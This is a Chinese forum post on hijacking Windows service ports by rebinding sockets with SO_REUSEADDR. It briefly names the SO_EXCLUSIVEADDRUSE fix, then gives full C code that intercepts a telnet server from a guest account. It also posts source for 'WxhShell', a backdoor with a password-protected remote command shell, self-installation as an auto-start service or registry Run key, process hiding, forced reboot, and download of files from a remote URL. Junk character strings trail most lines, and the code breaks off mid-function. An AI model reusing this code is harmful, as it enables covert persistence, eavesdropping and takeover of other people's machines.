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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: k |YWOy@D~  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9Q;c ,]  
71fk.16  
  saddr.sin_family = AF_INET; m ee$"Y  
l|/LQ/  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); - nbMTY}  
FT.,%2  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |Ic`,>XM  
| ?yo 3  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 &a,OfSz  
5 2_#  
  这意味着什么?意味着可以进行如下的攻击: a4 MZ;5  
0aI;\D*Ts  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /9pM>Cd*Z  
$((6=39s  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (ljF{)Ml+=  
] )DX%$f  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 CO:u1?  
2@=IT0[E\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  j;1-p>z  
hm*cw[#O1x  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1oLv.L  
uC3:7  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 SOZPZUUEJ  
%dST6$Z  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *?ITns W<  
Ih}1%Jq  
  #include iRV~Il#~!  
  #include FR[ B v  
  #include uX/$CM  
  #include    OZY,@c  
  DWORD WINAPI ClientThread(LPVOID lpParam);   v``-F(i$  
  int main() )E#2J$TD  
  { =sJ _yq0#R  
  WORD wVersionRequested; [, RI-#n  
  DWORD ret; 3REx45M2  
  WSADATA wsaData; I<td1Y1q  
  BOOL val; I` K$E/ns  
  SOCKADDR_IN saddr; # ]?bLm<!  
  SOCKADDR_IN scaddr; I04jjr:<  
  int err; cF)/^5Z  
  SOCKET s; B+d<F[ |  
  SOCKET sc; F>je4S;  
  int caddsize; &,\=3 '  
  HANDLE mt; dy__e^qi  
  DWORD tid;   rl#vE's6.e  
  wVersionRequested = MAKEWORD( 2, 2 ); / $  :j  
  err = WSAStartup( wVersionRequested, &wsaData ); OLGBt  
  if ( err != 0 ) { 2&'|Eqk  
  printf("error!WSAStartup failed!\n"); 7uorQfR?  
  return -1; |BT MJ:B  
  } vbx6I>\Y  
  saddr.sin_family = AF_INET; IQ< MyB(  
   F~:O.$f]G  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?3ig)J,e[  
w]b,7QuNz  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); '^BV_QQ  
  saddr.sin_port = htons(23); !Z!g:II /  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) mR\`DltoV  
  { :F,O  
  printf("error!socket failed!\n"); FWue;pw3  
  return -1; ).` S/F  
  } D\w h;r  
  val = TRUE; {rfF'@[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 DS-0gVYeDW  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ?[<Tx-L  
  { j"^ +oxH  
  printf("error!setsockopt failed!\n"); znJhP}(  
  return -1; XqRJr%JH  
  } G+xt5n.%  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; D4eTTfQ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 tWTKgbj(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 'i;|c  
/-bF$)vN  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) a,F&`Wg  
  { 8.' #?]a  
  ret=GetLastError(); KrVcwAcq|1  
  printf("error!bind failed!\n"); ^-mRP\5  
  return -1; S##1GOO  
  } \^(0B8|w  
  listen(s,2); 9a\nszwa  
  while(1) Gb[`R}^dq  
  { ;6@r-r  
  caddsize = sizeof(scaddr); 2?m.45`  
  //接受连接请求 :j|IP)-f  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8l}1c=A}Vi  
  if(sc!=INVALID_SOCKET) 2!&&|Mh}  
  { j'[m:/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^ -FX  
  if(mt==NULL) yR{x}DbG  
  { b" xmqWa  
  printf("Thread Creat Failed!\n"); CT0l!J~5m~  
  break; C%*k.$#r!  
  } l`kWz5[~  
  } 5aad$f  
  CloseHandle(mt); 6sIL.S~c)  
  } o"wXIHUmV  
  closesocket(s); M8H5K  
  WSACleanup(); ^7;JC7qmN  
  return 0; P%)gO  
  }   5@*'2rO&!  
  DWORD WINAPI ClientThread(LPVOID lpParam) <YA&Dr3OD  
  { (~zd6C1.  
  SOCKET ss = (SOCKET)lpParam; K{n{KB&_&  
  SOCKET sc; #;n +YM">:  
  unsigned char buf[4096]; G?f\>QSZ  
  SOCKADDR_IN saddr; q$1PG+-  
  long num; Z_\C*^  
  DWORD val; ?JL7=o X  
  DWORD ret; 6v,z@!b  
  //如果是隐藏端口应用的话,可以在此处加一些判断  ^p n(=4  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   tiN?/  
  saddr.sin_family = AF_INET; b:qY gg  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^[%%r3"$C  
  saddr.sin_port = htons(23); V8eB$in  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) S'oGt&Z<  
  { D\<y)kh  
  printf("error!socket failed!\n"); 8/)qTUx:  
  return -1; Ii7QJ:^  
  } ["\;kJ.  
  val = 100; +,~z Wv1v  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I^o!n5VM  
  { |ZodlYF  
  ret = GetLastError(); n wI!O  
  return -1; BpX6aAx  
  } n|GaV  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) LZMYr  
  { hhoEb(BA  
  ret = GetLastError(); f+rz|(6vs{  
  return -1; 4f(Kt,0  
  } 6} FO[  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) V]*b4nX7  
  { fgihy  
  printf("error!socket connect failed!\n"); FU=w(< R;  
  closesocket(sc); b64 @s2]  
  closesocket(ss); L[5=h  
  return -1; 0]HYP;E"U  
  } L 8{\r$  
  while(1) :eo  
  { CK, 6ytB  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 e #/E~r&  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 .9O$G2'oh  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1-.~7yC  
  num = recv(ss,buf,4096,0); p4VeRJk%  
  if(num>0) zhY+x<-  
  send(sc,buf,num,0); (E]!Z vE  
  else if(num==0) /?'; nGq  
  break; 'zh7_%  
  num = recv(sc,buf,4096,0); ]kG(G%r|M  
  if(num>0) s,a}?W  
  send(ss,buf,num,0); yV)la@c  
  else if(num==0) DcSnia62f  
  break; ?5kHa_^  
  } OFje+S  
  closesocket(ss); 1Bxmm#  
  closesocket(sc); r! Ay :r  
  return 0 ; +a^F\8H  
  } 5BBD.!  
/%lZu^  
{BHI1Uw  
========================================================== pRSOYTebP  
Gycm,Cy  
下边附上一个代码,,WXhSHELL dg4vc][  
Vf(6!iRP@  
========================================================== l }XU 59  
Z$J#|  
#include "stdafx.h" vM_:&j_?``  
0a"igq9t  
#include <stdio.h> !n^OM?.4  
#include <string.h> u4Em%:Xj  
#include <windows.h> {mB0rKVm  
#include <winsock2.h> %X9r_Hx  
#include <winsvc.h> qC'{;ko  
#include <urlmon.h> _HhbIU  
2Pc%fuC  
#pragma comment (lib, "Ws2_32.lib") .$@R{>%U  
#pragma comment (lib, "urlmon.lib") 86 W0rS[5  
IHRGw  
#define MAX_USER   100 // 最大客户端连接数 kA7mLrON  
#define BUF_SOCK   200 // sock buffer IKie1!ZU{"  
#define KEY_BUFF   255 // 输入 buffer J*9$;  
bTQNb!&  
#define REBOOT     0   // 重启 h<~7"ONhV  
#define SHUTDOWN   1   // 关机 soCi[j$lH  
7t.!lh5G%  
#define DEF_PORT   5000 // 监听端口 ZoArQ(YFy  
h;3cd0  
#define REG_LEN     16   // 注册表键长度 3j3N!T9  
#define SVC_LEN     80   // NT服务名长度 Fv<`AU  
vzmc}y G  
// 从dll定义API x`6<m!d`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]vuwkn+)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); r_;9' #&'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /rSH"$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ks}Xgc\  
,-z9 #t  
// wxhshell配置信息 :_QCfH  
struct WSCFG { ^wS5>lf7p  
  int ws_port;         // 监听端口 LY+|[qka  
  char ws_passstr[REG_LEN]; // 口令 |*`Z*6n  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0?>dCu\  
  char ws_regname[REG_LEN]; // 注册表键名 0@AAulRl  
  char ws_svcname[REG_LEN]; // 服务名 `=7j$#6U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;j2vHU#q-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Qyy.IPTP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 kY'T{Sm1^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Li Kxq=K  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `mN4_\]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "*})3['n  
 rb{P :MX  
}; |hr]>P1  
E\C9|1)  
// default Wxhshell configuration K(q-?n`<  
struct WSCFG wscfg={DEF_PORT, *YlV-C<}W"  
    "xuhuanlingzhe", >$2V%};  
    1, WVLHfkN  
    "Wxhshell", 1IVuSp`{FU  
    "Wxhshell", tY <Z'xA?  
            "WxhShell Service", VcoOeAKL  
    "Wrsky Windows CmdShell Service", <jed!x  
    "Please Input Your Password: ", 'MY/*k7:  
  1, H8"@iE,  
  "http://www.wrsky.com/wxhshell.exe", v%ioj0,  
  "Wxhshell.exe" 3N_"rNKD  
    }; Bp@v,)8*  
a+Ac[>  
// 消息定义模块 : >>@rF ,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -+O 9<3ly  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]7e =fM9V;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; hqRw^2F  
char *msg_ws_ext="\n\rExit."; 6"}?.E$  
char *msg_ws_end="\n\rQuit."; be +4junf  
char *msg_ws_boot="\n\rReboot..."; +a*tO@HG  
char *msg_ws_poff="\n\rShutdown..."; \G-KplKS  
char *msg_ws_down="\n\rSave to "; &~W:xg(jN  
cH>%r^G\  
char *msg_ws_err="\n\rErr!"; O|w J)  
char *msg_ws_ok="\n\rOK!"; KIWe@e  
;amXY@RmH  
char ExeFile[MAX_PATH]; w}=5ElB  
int nUser = 0; !o$!Frc  
HANDLE handles[MAX_USER]; aE2.L;Tk?  
int OsIsNt; t]-5 ]oI  
[p<w._b i  
SERVICE_STATUS       serviceStatus; oJfr +3I  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F;]%V%F.X  
-a-(r'Qc(  
// 函数声明 [Jv@J\  
int Install(void); =%/)m:f!^  
int Uninstall(void); YIjTL!bA"  
int DownloadFile(char *sURL, SOCKET wsh); GI&h`X5,e  
int Boot(int flag); KVJ_E!i  
void HideProc(void);  f& CBU  
int GetOsVer(void);  #B\" '8#  
int Wxhshell(SOCKET wsl); AA7C$;Z15~  
void TalkWithClient(void *cs); & \f{E\A#  
int CmdShell(SOCKET sock); $*?,#ta  
int StartFromService(void); )6aAB|  
int StartWxhshell(LPSTR lpCmdLine); ?Ec7" hK  
f`Fi#EKT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zE_i*c"`  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 53[~bwD  
YD7Oao4:o  
// 数据结构和表定义 $ , u+4h  
SERVICE_TABLE_ENTRY DispatchTable[] = ~sXcnxLz  
{ D"D<+ ;S#  
{wscfg.ws_svcname, NTServiceMain}, /Sh#_\x  
{NULL, NULL} y`=]T>X&x  
}; S;- LIv  
ctGL-kp  
// 自我安装 GN2Sn` ;  
int Install(void) yNbjoFM.i  
{ )>Yu!8i  
  char svExeFile[MAX_PATH]; $b mLu=9  
  HKEY key; ,KFapz!  
  strcpy(svExeFile,ExeFile); 1 .6:#  
.;N1N^  
// 如果是win9x系统,修改注册表设为自启动 ( U xW;  
if(!OsIsNt) { _FWBUZ;N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <Sr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [)TRTxFb  
  RegCloseKey(key); .Fp4: e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q?8| [.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \7'+h5a  
  RegCloseKey(key); 0ik7v<:  
  return 0; 9_5ow  
    } ruld B,n  
  } KGFv"u{  
} ;4pYK@9w_  
else { ~5oPpTAe  
G2T|RT $_K  
// 如果是NT以上系统,安装为系统服务 n~V ]Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); uu>Pkfo  
if (schSCManager!=0) 2_Z ? #Y  
{ M "94#.dKK  
  SC_HANDLE schService = CreateService h3xAJ!  
  ( h[@tZ( jrY  
  schSCManager, 9'X7w G  
  wscfg.ws_svcname, R)m'lMi|  
  wscfg.ws_svcdisp, \r+8qC[,  
  SERVICE_ALL_ACCESS, +O?KNZ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7](KV"%V  
  SERVICE_AUTO_START, Xx>X5Fy  
  SERVICE_ERROR_NORMAL, pW J Fz-  
  svExeFile, V: TM]  
  NULL, <d$x.in  
  NULL, XcUwr  
  NULL, VG ;kPzze  
  NULL, 7x%R:^*4  
  NULL LHo3 Niy.  
  ); &n8_0|gK  
  if (schService!=0) d\gJ$ ~^K  
  { m3/O.DY%0  
  CloseServiceHandle(schService); ~ r4 38&  
  CloseServiceHandle(schSCManager); M]2]\km  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M,\:<kNI  
  strcat(svExeFile,wscfg.ws_svcname); x5-}h*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S;286[oq@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Rx=>6,)'  
  RegCloseKey(key); ]z/8KL  
  return 0; oV|4V:G q  
    } \6Zr  
  } 0i\M,TNf*  
  CloseServiceHandle(schSCManager); -^hWM}F  
} EZ`te0[  
} I$Op:P6.E  
Zm_UR*"  
return 1; 8&qZ0GLaT  
} i\rDu^VQ  
kTu[ y;  
// 自我卸载 FwkuC09tI  
int Uninstall(void) HOJs[mqB%  
{ `3WFjU 5a  
  HKEY key; ^<a t'jk6  
gL *>[@RO  
if(!OsIsNt) { _8F`cuyW  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q %"VYt4  
  RegDeleteValue(key,wscfg.ws_regname); oF1,QQ^dg  
  RegCloseKey(key); D!Pq4'd(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0vD7v  
  RegDeleteValue(key,wscfg.ws_regname); _n50C"X=&(  
  RegCloseKey(key); sg3OL/"  
  return 0; T^k7o^N>  
  } 9Hb6nm  
} tne ST.  
} !C3MFm{B  
else { |es?;s'  
PuA9X[=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D"2&P^-  
if (schSCManager!=0) BMG3|N^  
{ xg;+<iW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jN;@=COi  
  if (schService!=0) DN-+osPi  
  { q=Sgk>NA  
  if(DeleteService(schService)!=0) { RbP6F*f  
  CloseServiceHandle(schService); '}Z~JYa0  
  CloseServiceHandle(schSCManager); sHt].gZ  
  return 0; lvBx\e;7P  
  } koZ*+VP=  
  CloseServiceHandle(schService); ( +Q&[E"87  
  } [ 0KlC1=  
  CloseServiceHandle(schSCManager); {E9+WFz5  
} mpU$ +  
} ,*&:2o_r  
_u5#v0Y  
return 1; $0>60<J  
} %7IugHH9y  
p93r'&Q  
// 从指定url下载文件 T?tgd J  
int DownloadFile(char *sURL, SOCKET wsh)  #~2%)  
{ 7byK{{/z  
  HRESULT hr; Cz\e w B  
char seps[]= "/"; _/-jX  
char *token; 4U+xb>  
char *file; 7vrl'^1  
char myURL[MAX_PATH]; S >X:ZYYC  
char myFILE[MAX_PATH]; =S+wCN  
;o2$ Q  
strcpy(myURL,sURL); m.# VYN`+A  
  token=strtok(myURL,seps); bYpnt V  
  while(token!=NULL) t^R][Ay&  
  { bnq; )>&  
    file=token; ' g=  
  token=strtok(NULL,seps); cdl&9-}  
  } Zw5Ni Xj  
bpJ(XN}E  
GetCurrentDirectory(MAX_PATH,myFILE); ;g5m0l5  
strcat(myFILE, "\\"); -:Da&V  
strcat(myFILE, file); 0WZ_7C?  
  send(wsh,myFILE,strlen(myFILE),0); -Ta9 pxZk  
send(wsh,"...",3,0); 8dZSi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Lsq A**=  
  if(hr==S_OK) iNtaDX| %/  
return 0; JQ8fdP A  
else r@h5w_9  
return 1; 1PVtxL?1P  
xW)2<m6C&  
} ;qafT@ }C  
.h@rLorm>  
// 系统电源模块 "7'J &^|  
int Boot(int flag) R_W+Ylob  
{ n'wU;!W9  
  HANDLE hToken; GK )?YM  
  TOKEN_PRIVILEGES tkp; BP'36?=Zo  
-3t7*  
  if(OsIsNt) { NO "xL,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F\JM\{&F  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #>b3"[ |  
    tkp.PrivilegeCount = 1; Neq+16*u  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; D/Z6C&/I  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X$ 0?j 1  
if(flag==REBOOT) { u]<,,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5nv#+ap1 "  
  return 0; C%$edEi  
} [')m|u~FS4  
else { "CSsCA$/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) A-Sv;/yD_  
  return 0; L-jJg,eY  
} h58`XH  
  } Zd^rNHhA  
  else { ,&]S(|2%>t  
if(flag==REBOOT) { 3 }TaF~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >Ea8G,  
  return 0; ~ -4{B  
} 4IB9 ,?p  
else { p `8 s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0bceI  
  return 0; .0S~872  
} Uol|9F  
} B:b5UD  
AF;)#T<  
return 1; B8.Pn  
} <r .)hT"0  
bR*-Ht+wd  
// win9x进程隐藏模块 KyVQh8  
void HideProc(void) ocqU=^ta  
{ g`{;(/M+  
 8{wwd:6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); kw >v:F<M  
  if ( hKernel != NULL ) W]"zctE  
  { Tzt8h\Q^z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -[ *,^Ti`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); SN9kFFIPb=  
    FreeLibrary(hKernel); m'Amli@[  
  } 3EV;LH L  
k$R~R-'  
return; ~ Sg5:T3  
} b*;Si7-  
7,U=Qe;  
// 获取操作系统版本 s1M Erd  
int GetOsVer(void) _Zp}?b5Q  
{ 1t:Q_j0Ym  
  OSVERSIONINFO winfo; ;kFDMuuO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *;l]8.  
  GetVersionEx(&winfo); H7z,j}l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )JDs\fUE  
  return 1; 9A/\h3HrJ  
  else  ,V,`Jf  
  return 0; ^!<U_;+  
} l7XUXbYp&=  
03|PYk 6EW  
// 客户端句柄模块 \l'm[jy>  
int Wxhshell(SOCKET wsl) Lz`E;k^  
{ \s/s7y6b+  
  SOCKET wsh; %}SGl${-  
  struct sockaddr_in client; 0ZT5bg_M  
  DWORD myID; MuYk};f  
;+e}aER&9  
  while(nUser<MAX_USER) O!m vJD  
{ c&r70L,  
  int nSize=sizeof(client); 8>trS=;n  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (n*^4@"2  
  if(wsh==INVALID_SOCKET) return 1; #^`4DhQ/ 1  
w,.+IV$Kk  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "W=AB&  
if(handles[nUser]==0) NaPt"G  
  closesocket(wsh); ;9[fonk  
else <LmIK  
  nUser++; O}+.U<V  
  } NO~*T?&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T_i:}ul  
$*SW8'],`  
  return 0; AJf4_+He  
} 00G%gQXk,  
Vr)<\h  
// 关闭 socket b=g8eMm  
void CloseIt(SOCKET wsh) GQt8p[!  
{ gD,1 06%  
closesocket(wsh); -9%:ilX~  
nUser--; >z/#_z@LV  
ExitThread(0); r;B8i!gD  
} \.C +ue  
TlXI|3Ip  
// 客户端请求句柄 =+/eLKG  
void TalkWithClient(void *cs) &Lt}=3G  
{ t#Z-mv:(  
E.r>7`E  
  SOCKET wsh=(SOCKET)cs; /,89p&h  
  char pwd[SVC_LEN]; 1%EBd%`#  
  char cmd[KEY_BUFF]; $&y%=-]|  
char chr[1]; T?:Rdo!:u  
int i,j; u5O+1sZ"6  
GS0;bI4ay  
  while (nUser < MAX_USER) { o}$XH,-9&  
W}--p fG  
if(wscfg.ws_passstr) { '= _/1F*q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *}]Nf  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jq-p;-i  
  //ZeroMemory(pwd,KEY_BUFF); DQNnNsP:M-  
      i=0; 3 *d"B tg  
  while(i<SVC_LEN) { &%8'8,.  
R%Qf7Q  
  // 设置超时 :H7D~ n  
  fd_set FdRead; "JVkVp[5D+  
  struct timeval TimeOut; ks3`3q 7  
  FD_ZERO(&FdRead); TMAJb+@l:  
  FD_SET(wsh,&FdRead); " W!M[qBW  
  TimeOut.tv_sec=8; XxT#X3D/,"  
  TimeOut.tv_usec=0; qd9cI&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); vqnw#U4`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ipf|")*  
!,l9@eJQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,LTH;<zB)  
  pwd=chr[0]; VGfMN|h  
  if(chr[0]==0xd || chr[0]==0xa) { @x9a?L.48  
  pwd=0; 0Oi,#]F  
  break; P7J>+cm  
  } {FO;Yg'  
  i++; E'v _#FLvR  
    } {kp-h2I,  
%u`8minCt  
  // 如果是非法用户,关闭 socket J1/?JfF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); BHd&yIyI  
} 2{]`W57_=  
aiQ>xen5C5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); YCdS!&^UN  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !zux z  
/,1D)0  
while(1) { e`@ # *}A  
Wc,_RN-  
  ZeroMemory(cmd,KEY_BUFF); *7*lE"$p  
y#>,+a#5  
      // 自动支持客户端 telnet标准   nnCG g+l  
  j=0; ~1cnE:x;V  
  while(j<KEY_BUFF) { $@sEn4h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R#xCkl-  
  cmd[j]=chr[0]; UQ8M~x5$3%  
  if(chr[0]==0xa || chr[0]==0xd) { `k OD[*  
  cmd[j]=0; y]2qd35u_A  
  break; D5$wTI  
  } Q<z_/ j9  
  j++; ,%n\=  
    } #?5 (o  
8 ![|F:  
  // 下载文件 @*}D$}aR'V  
  if(strstr(cmd,"http://")) { -c(F1l  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0FGe=$vD  
  if(DownloadFile(cmd,wsh)) Uh.oErHQD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); HqI t74+  
  else hD\rtW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2GFLnz  
  } pM x  
  else { | B. 0TdF  
_=+V/=  
    switch(cmd[0]) { r9X?PA0f  
  Ae mDJ8Y  
  // 帮助 J+[_Wd  
  case '?': { "nZ*{uv  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wyp|qIS;  
    break; ) u3 Zm  
  } .9R [ *<  
  // 安装 .nG#co"r}3  
  case 'i': { :r%P.60H X  
    if(Install()) nNrPHNfqD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #rxVd 7f  
    else W"):-Wq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !O-T0O   
    break; W4hbK9y  
    } Z&0'a  
  // 卸载 N U|d  
  case 'r': { , 3,gG "  
    if(Uninstall()) Dpvk\t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #6ri-n  
    else Uh7v@YMC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =.y~fA!  
    break; D<|qaHB=  
    } e "/;7:J5\  
  // 显示 wxhshell 所在路径 Ne#WI'  
  case 'p': { +lJG(Qd  
    char svExeFile[MAX_PATH]; p+l!6  
    strcpy(svExeFile,"\n\r"); ElS9?Q+  
      strcat(svExeFile,ExeFile); r~N"ere26  
        send(wsh,svExeFile,strlen(svExeFile),0); 3mYiQ2  
    break; gfsI6/Y  
    } EG0WoUX|  
  // 重启 u1t% (_h  
  case 'b': { $SM# < @  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $tz;<M7B  
    if(Boot(REBOOT)) )_{dWf1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ulu9'ch  
    else { t>1Z\lE\"  
    closesocket(wsh); XD|E=s  
    ExitThread(0); x;-. ZVF  
    } ?g?L3vRK  
    break; )\sc83L  
    } v[#9+6P=  
  // 关机 hfnN@Kg?B}  
  case 'd': { _$= _du  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .gG1kWA-  
